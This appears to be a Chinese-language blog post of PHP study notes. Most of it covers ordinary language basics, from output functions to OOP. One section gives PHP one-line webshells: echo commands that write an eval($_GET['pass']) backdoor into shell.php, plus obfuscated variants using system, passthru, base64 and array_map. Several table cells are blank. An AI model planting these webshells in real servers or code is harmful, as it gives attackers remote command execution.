(持续更新哟,点个关注和赞吧)
!!!如要学习具体深刻需要善于运用搜索引擎。!!!
php笔记可参考php手册https://www.php.net/
php的构成与理解
众所周知,php(超文本预处理器)是一种基于B/S结构的解释性语言,在我们深入理解php语言之前,我们可能都接触过了比较基础的php语言,再此就不详细展开细节了,我们先从其基础和结构理解开始并学会使用php。
php的输出函数
通常我们使用echo或print来输出某些字符串;如果要格式化输出操作,我们通常使用printf()函数或者sprintf()函数。
在我们使用php语言时,我们经常会遇到这么一些词语,他们有特殊的意义但不是函数,只是一种特殊的语言结构,这些被我们称为php关键词,如print,echo,array等,详情可翻阅php手册https://www.php.net/manual/zh/reserved.keywords.php
1.print和echo都不是真正的函数,但都可以以带有参数的函数形式进行调用,echo要比print速度快,print有函数返回值可以作为表达式的一部分。(优劣比较及使用不做推荐)
echo | ||
输出 | 可同时输出多个字符串 | 可同时输出一个字符串 |
使用错误抑制符@ | 不能 | 能 |
函数返回值 | 无 | int类型的1 |
参数 | 支持多参数,用英文逗号","连接成多个参数 或用英文点号"."连接成一个参数 |
只支持一个参数,可用英文点号"."连接成一个参数 |
printf()函数将一个格式化的字符串输出到浏览器中,举例:
在php手册中printf()函数的定义为printf ( string $format
, mixed ...$values
) : int
<?php $number = 9; $str = "广东"; printf("在%s有%u百万辆自行车。",$str,$number); ?>
浏览器输出 //在广东有 9 百万辆自行车。
举例一些format值
-
%% - 返回百分比符号
-
%b - 二进制数
-
%c - 依照 ASCII 值的字符
-
%d - 带符号十进制数
-
%e - 可续计数法(比如 1.5e+3)
-
%u - 无符号十进制数
-
%f - 浮点数(local settings aware)
-
%F - 浮点数(not local settings aware)
-
%o - 八进制数
-
%s - 字符串
-
%x - 十六进制数(小写字母)
-
%X - 十六进制数(大写字母)
sprintf()函数是返回一个格式化后的字符串,举例:
在php手册中sprintf()函数的定义为sprintf ( string $format
, mixed ...$values
) : string
<?php $number = 2; $str = "guangdong"; $txt = sprintf("There are %u million cars in %s.",$number,$str); echo $txt; ?>
浏览器输出 //There are 2 million cars in guangdong.
通过以上实例可以看出很明显的区别,printf()函数和sprintf()函数不同之处在于:
(1)printf()函数可以直接将格式化之后的字符串输出,而sprintf()函数需要使用echo方法将格式化后的字符串输出。
(2)printf()函数的返回值为int类型,表示打印出来字符串的字符数量,而sprintf()函数的返回值为一个字符串。
(3)sprintf()函数不显示格式化的字符串,因而非常适合于生成数据库查询语句,从而避免SQL与变量混合。举例:
假设我们向这个php输入数据,即name用户可控,构造的payload为?name=xluo/
(ps: mysql_real_escape_string(string, connection)函数作用是转义SQL语句中的特殊字符,成功返回字符串,失败返回false,php前面连接数据库不做示范。
sql语句为INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....),关于数据库语句笔者以后的文章会讲到)
<?php $id = 6.00;
$name=$_GET["name"];
$sql = sprintf("insert into table table_name(id,name) values (%d,'%s')",$id, mysql_real_escape_string($name));
echo $sql;
?>
浏览器输出 //insert into table table_name(id,name) values (6,'xluo\/')
php中的一句话
在我们学习和了解php的一句话木马之前,我们需要先了解以下引号之间的不同。
2.双引号""中,变量名称将被变量值替代!(浏览器用echo命令写入一句话的时候记得\注释);
单引号''中,变量名称或其他任何文本将不经修饰发送给浏览器;
反向单引号``中,里面的命令将试着当作服务器端命令行命令来执行(通常引号被过滤可以考虑用反向单引号)。
示例,以下是将一句话写入名为shell.php中,为了防止命令出错,单引号中不能使用单引号、双引号中不能使用双引号(除非将里面的引号进行转义):
环境 | windows | Linux |
echo写入一句话 | echo ^<?php @eval($_GET['pass']);?^>>shell.php | echo ' |
echo ' | ||
echo " | ||
echo " |
Windows下echo写入一句话时不用加引号,不然会将引号也写进去,同时对尖括号需要进行转义(Windows的cmd中我们通常用^进行转义),否则cmd处理的时候会出现错误。
Linux下echo写入php一句话中我们通常使用如上表格最上面的命令,因为单引号中$不会被当成变量处理从而完整地将一句话写入shell.php中,同时我们需注意因为单引号的使用,所以我们GET方法传入参数pass时用的是双引号。
在漏洞探寻和渗透测试中,单引号和双引号的使用往往是一个小细节,能够减少我们debug的时间并得到正确结果。
现在来了解一下php的一句话,通常来说,为了让传入的这一句话木马能发挥巨大的作用,我们采用了以上表格命令,现在来详细解读一下这个一句话木马:
我们传入的是<?php @eval($_GET["pass"]);
assert()函数(ps:在PHP7.1版本以后,assert()默认不再可以执行代码) | <?php assert($_GET["pass"]);?> |
system()函数 | <?php system($_GET["pass"]); |
passthru()函数 | <?php passthru($_GET["pass"]); |
exec()函数 | <?php exec("$_GET['pass']",$a);print($a);?> |
shell_exec()函数 | <?php $a=shell_exec("$_GET['pass']");var_dump($a);?> |
使用反引号`执行代码(ps:要确保shell_exec函数可用,否则无法用) | <?php echo `$_POST['pass']`;?> |
也可使用popen()函数打开进程执行命令,自行百度、尝试,这里不做举例。
如果你是开发者,当你使用这些函数来执行系统命令时,可以使用escapeshellcmd()和escapeshellarg()函数阻止用户恶意在系统上执行命令,escapeshellcmd()针对的是执行的系统命令,而escapeshellarg()针对的是执行系统命令的参数。
普通的一句话GET方法(也可以用POST方法或者REQUEST等方法代替,下文也是如此) | <?php @eval($_GET["pass"]); |
用php变量表示(ps:eval不能作为变量函数去执行) | |
php变量表示变形1(ps:大小写混淆) |
|
php变量表示变形2(ps:字符串拼接) |
|
php变量表示变形3(ps:字符串拼接、大小写混淆、字符串逆序) |
|
PHP可变变量(ps:变量的变换) | |
使用create_function函数 | |
自定义函数 | |
使用call_user_func()函数(ps:调用函数) | |
使用call_user_func_array()函数 |
|
base64_decode 函数 | <?php $a=base64_decode("cGFzc3RocnU="); @a($_POST['pass']);?> |
preg_replace函数(ps: 如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。) |
|
array_map()函数(ps:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。) | <?php $a=$_GET['1'];$cmd=$_POST['2'];$array[0]=$cmd;$new_array=array_map($a,$array); echo $new_array;?> |
array_filter()函数 |
<?php $a=$_POST['1'];$array1=array($a);$b=$_GET['2'];array_filter($array1,$b);?>
|
pares_str函数(ps:结果$a=eval) |
|
str_replace函数(ps:结果$a=assert) |
|
uasort()函数、usort()函数 |
|
|
|
动态函数 |
3.用gettype()函数获取变量类型,用settype()函数改变变量类型,intval()转为整数
类型有bool,int,double(浮点型),string,array,object,resource,NULL。
除此之外php还有很多特定的类型测试函数is_xxx(),如is_array(),is_scalar(),is_numeric()等等。
4.isset()变量存在且值不为null返回true,其余相反,
empty()变量存在且是一个非空非零的值时返回false,其余相反。
5.elseif等于else if,在一系列的级联elseif语句中,只有第一个为true条件下的语句将被执行。
6.如果没有break,switch语句将执行case值为true的以下所有代码,例如
当$a的值为0时将执行所有语句,当$a的值为2时只执行最后一条语句。
7.==为弱等于,===为恒等于。
8.fopen()文件模式作用(ps:打开文件,从文件头开始):
r(只读)。(ps:无)
r+(读写)。(ps:无)
w(写)。(ps:如果文件已存在,将删除文件所有内容,如不存在将创建)
w+(读写)。(ps:无)
x(谨慎写)。(ps:如果已有文件,则不会打开且返回false,且php产生一个警告)
x+(谨慎读或写)。(同上)
a(追加写)。(ps:如已有文件,从文件末尾开始追加,如没有,则创建。)
a(追加写或读)。(同上)
b(二进制)。(用于与其他模式进行连接……)
t(文本)。
(ps:以上字母后面是作用,并不是严格意义的模式名称)
9.fputs()是fwrite()的别名,可用file_put_contents()代替fwrite()。
10.feof()唯一参数是文件指针,如指向文件末尾则返回true。
使用feof()作为文件结束的测试条件。
11.fgets()读取文件内容,每次一行。
fgetss()同上,还可选择过滤。
fgetcsv()当使用了分隔符(例如制表符或者逗号)的时候可以选择分行,
可用explode(),implode()(同join()作用),join()(效果和explode()相反),strtok()(一次从字符串取一个子字符串) 分隔。
12.读取整个文件:readfile(),fpassthru()(ps:需要先用fopen()打开文件,然后再将文本指针作为参数传递给fpassthru(),这样就可以把所指向文件内容发送到标准输入,然后再将文件关闭。成功返回true失败返回false。),file()(把结果发送到一个数组),file_get_contents()(以字符串的形式返回文件内容)。
13.读取一个字符fgetc(),一次读取一个字符。读取任意长度fread()。
14.查看文件是否存在file_exists()。确定文件大小filesize()。删除一个文件unlink()。可以对文件指针进行操作,在文件中定位:rewind(),fseek(),ftell()。文件锁定flock()(ps:无法在NFS或其他网络文件系统中使用,无法在多线程服务器API中使用)。
!!!如要学习具体需要善于运用搜索引擎。!!!
15.array()和echo一样实际上是一个语言结构而不是函数。(可用[]代替array()。)
sort()(按值从小到大排序), rsort()(加r反序),usort()(加u自定义);
asort()(对数组进行排序并保持索引关系),arsort()(加r反序),uasort()(加u自定义);
ksort()(按照键名排序),krsort()(加r反序),uksort()(加u自定义)。
使用以上函数进行排序,或创建用户自定义排序函数或使用array_multisort()函数。
也可使用array_reverse()(与原来数组相反排序),shuffle()随机。
“=”可以将数组复制到另一个数组,添加数组元素array_push(),删除数组元素array_pop()。sizeof()是count()的别名函数。
通过count(),sizeof(),array_count_values() 统计数组元素。
16.访问数组可用[]或{}。foreach()循环转为数组和对象打造,索引数组也可用list()(ps:可以将一个数组分解为一系列的值)和each()(ps:返回数组的当前元素,并将下一个元素作为当前元素,数组将记录当前元素,如需多次使用数组,用reset()函数将当前元素作为数组的开始。)
extract()将数组转化为标量变量。
以相同方式使用或者修改数组中每一个元素用array_walk()。
17.键与值之间用=>符号。
18.<>与!=相同。+为联合操作符,尝试把后面数组元素添加到前面数组的末尾,若具有相同的键则不被添加。
19.了解算术操作符,逻辑操作符,位操作符,比较操作符,数组操作符等。
20.数组浏览:each(),next(),使指针指向下一个元素。
prev()(和next()相反),end(),逆序遍历。
current()(返回数组中的当前单元),pos()(current()的别名)。
reset()(前文有)。
21.字符串截断(默认除去字符\n,\r,\t,\x0B,\0,空格):
trim()(还除去字符串开始位置和结束位置的空格,并返回)
rtrim()的别名函数chop()(从结束处除去空格)
ltrim()(从开始处除去空格)
22.使用htmlspecialchars()函数过滤输出至浏览器的字符串(实体编码)。
使用str_replace(),substr_replace()函数进行过滤或替换子字符串。
使用nl2br()函数进行html格式化。使用substr()得到某个固定格式字符串的一部分。
23.了解转换规范支持的类型码
24.字符串的排序:strcmp(),strcasecmp()(不区分大小写),strnatcmp()(按照自然排序)
25.strlen()判断字符长度,学会使用get_meta_tags(),
26.在字符串中查找字符串:strstr(),strchr(),strrchr(),stristr()
27.查找子字符串的位置:strpos()和strrpos()
parse_str(),将字符串解析成多个变量。
parse_url(),解析url返回其组成部分。
28.了解正则表达式,目前通常是perl风格,使用PCRE正则表达式,每个表达式必须包含在一对分隔符中,最常见的分隔符是 / ,如/xluo/。
如果要在正则表达式中匹配/或者特殊字符需要用反斜杠\转义,如/xluo\/\//,PCRE正则表达式语法链接。了解模式修饰符,链接。
(ps:在一个双引号引用的php字符串中使用\需要\\,这就导致需要使用四个反斜杠\\\\来表示一个包含在正则表达式的反斜杠字符\,如表示$字符需使用\\\$,因为字符串被引用在双引号中,php解释器将其解析为\$,而正则表达式解释器将其解析成一个$字符)
了解正则表达式符号,链接,方括号中的表达式只匹配一个字符,可使用-来描述一个范围,如/[a-zA-Z]/表示代表大小写任何字母。
了解正则的预定字符类,如[[:word:]]匹配"word"字符(字母数字或下划线)链接。
外部方括号分隔字符类,而内部方括号是字符类名称的一部分,如/[[:alpha]1-5]/匹配的是包含字母字符或1到5数字的字符。
了解子表达式,/(very )*large/可以匹配"large""very large""very very large"等。
/(very ){1,3}/,表示匹配"very ","very very ","very very very "。
了解PCRE正则表达式中用于方括号里面的特殊字符\^-和用于方括号外面的特殊字符\^$.|()*+{}?
了解转义序列\的三种用法(ps:了解转义序列第三种\d,\D,\h,\H,\s,\S,\v,\V,\w,\W)
29.脱字符号^用于正则表达式的开始,字符$用于正则表达式的结尾,思考/^xluo/,/xluo$/,/^xluo$/分别匹配什么。
30.通过|来进行模式选择/aa|bb|cc/匹配aa,bb或cc。
31.了解回溯引用。
32.理解PCRE正则表达式的断言。
33.preg_match()函数正则表达式如匹配到返回1,如没有匹配到返回0,如果出现匹配错误返回false,故通常用===来进行判断检查返回值,避免混淆。
preg_split()函数使用正则表达式分割字符串。
了解其他PCRE正则表达式函数。
34.了解require()和include()函数来支持代码重用,载入文件时会作为php文件一部分被执行。
require_once()和include_once()确保一个被引入的文件只能被引入一次,而且速度比上面的更快。
35.了解auto_prepend_file()和auto_append_file()
36.了解调用函数,且函数调用不区分大小写。了解自定义函数。
37.了解函数基本结构,如以下是成立的:
38.php不支持函数重载,所以函数命名需注意不能乱命名,了解函数命名规则。
39.了解参数的使用,传递参数允许我们获得在函数外部生成的数据,可选参数在调用时不能以间隔的方式给出,参数将按照从左到右的顺序进行赋值。
40.理解作用域,明白函数内的global $var;是声明全局变量。
41.了解return;将终止执行函数,也可返回结果。
42.简单了解递归函数,递归慢且占内存,通常我们通过循环代替递归。
43.了解匿名(闭包)函数。
44.理解面向对象概念,了解类和对象,了解多态性和继承。
<?php
class classname { public $a public $b function aaa(){} }
?>
上面创建了一个简单的类,它具有两个属性$a和$b,它有一个方法aaa(){}没有带参数
45.了解构造函数__construct()和析构函数__destruct(),链接。
46.了解类的实例化,通常使用new来创建一个对象,需要指定创建的对象是哪一个类的实例,并且为构造函数提供任何所需的参数。
47.熟悉使用类属性,在一个类中可以访问一个特殊的指针$this,当在该类中通过一个操作设置或访问该变量时,可以用 $this->我是变量 来引用,了解->,链接。
48.可以用调用类属性相同的方法调用类操作,可以按照调用其他函数的方法调用类操作:操作名称以及必要参数。
49.了解使用private和public关键字控制访问,了解访问修饰符,链接。
public,默认,公有属性或方法可以在类的内部和外部进行访问。
protect,只能在类内部进行访问。
private,只能在类内部直接进行访问。
50.尝试编写访问器函数
51.了解php继承,可以看看笔者关于JavaScript原型链继承及污染也可触类旁通。
php继承可以使用关键字extends,
以上对$xluo的操作全部成立,因为类B继承了类A。
52.通过继承使用private和protected控制可见性。
如果属性被指定为private,它将不能被继承,
如果属性被指定为protected,它将在类外部不可见,但是可以被继承。
53.了解php的覆盖,子类重载(覆盖)父类,parent允许调用父类操作的最初版本,比如声明类B,继承类A,因此继承了类A和类A父类(如果有)的所有特性,类B可以选择覆盖和替换父类的属性和操作,链接。
54.可使用final关键字禁止继承和覆盖
以上class B extends A(类B继承类A)时,可以禁止类B覆盖xluo()方法。
也可以用final在class前面防止class被继承。
55.理解多重继承,php不支持多重继承,每个类只能继承一个父类。
但php中提供了两种机制来支持类多重继承功能:接口(类似Java)和Trait。(建议使用Trait)
实现接口示例,链接。
使用Trait,链接。(ps:若类已继承获得了继承的方法并使用Trait,覆盖优先级为Trait方法覆盖继承的方法,但当前类方法覆盖Trait的方法)了解多个Trait冲突的解决办法。
56.学会编写自定义类代码。
57.理解php面向对象高级功能。
58.了解使用类级别常量。php提供了类级别常量的思想,这个常量可以在不初始化类的情况下使用,可以通过::操作符并指定常量所属的类来访问类级别的常量。
59.实现静态方法。使用static关键字,允许在未初始化类的情况下调用方法(等价于类级别常量的思想)。
60.检查类类型和类型提示,通常使用instanceof,检查一个对象是否是特定的类的实例,是否是某个类继承过来或是否实现了某个接口。
比如类B继承(extends)类A,且类A、类B和接口Xluo都位于当前的作用域,那么{$b instanceof B}将返回true,{$b instanceof A}将返回true,{$b instanceof Xluo}将返回false。
使用类类型提示可以指定必须传入的参数类类型
function xluo(B $a)
61.延迟静态绑定。
62.对象克隆。了解__clone()方法
63.使用抽象类。
64.使用__call()重载方法。
65.使用__autoload()方法。
66.实现迭代器和迭代。
67.了解生成器。
68.将类转化为字符串。实现__toString()函数。
69.使用反射API。
70.了解名称空间,了解使用子名称空间,理解全局名称空间,名称空间的导入和别名
71.了解异常处理的概念。throw关键字异常处理机制,同时它是一个语言结构而不是函数,但必须给它传递一个值。
72.了解Exception类,其构造函数有三个参数,错误消息、错误代码及前序异常。
73.学会用户自定义异常。
74.了解异常和其他错误处理机制。
76.
---php学习的事情就先告一段落了,之后有遇到的话再补上---